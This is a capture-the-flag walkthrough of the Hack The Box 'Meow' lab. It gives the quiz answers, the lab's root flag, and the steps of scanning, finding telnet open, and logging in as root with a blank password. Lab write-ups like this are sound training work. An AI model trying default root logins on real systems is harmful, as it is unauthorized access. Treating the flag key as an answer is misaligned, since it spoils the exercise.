What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It’s also known as a console or shell.
Answer: Terminal
What service do we use to form our VPN connection into HTB labs?
Answer: openvpn
What tool do we use to test our connection to the target with an ICMP echo request?
Answer: ping
What service do we identify on port 23/tcp during our scans?
Answer: telnet
What username is able to log into the target over telnet with a blank password?
Answer: root
Submit root flag
Answer: b40abdfe23665f766f9c61ecba8a4c19
Steps
First, we are going to run off an initial rustscan to see what is open:
We are only told that one port is only open on the system: the telnet port
PORT STATE SERVICE REASON VERSION
23/tcp open telnet syn-ack ttl 63 Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Telnet can allow for anonymous connection, so we can possible use that to get into the machine.
So, let’s go ahead and do that:
telnet 10.129.1.17
However, when using anonymous to login, we are told that is an invalid login.
However, when we use root, then we are able to get into the ftp session without a password needed!
Meow login: anonymous
Password:
Login incorrect
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 20 Nov 2025 08:20:29 PM UTC
System load: 0.0
Usage of /: 41.7% of 7.75GB
Memory usage: 4%
Swap usage: 0%
Processes: 136
Users logged in: 0
IPv4 address for eth0: 10.129.1.17
IPv6 address for eth0: dead:beef::250:56ff:feb0:51f
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
75 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Sep 6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~#
From here, we are able to find the flag.txt file and read out the flag!
root@Meow:~# ls
flag.txt snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#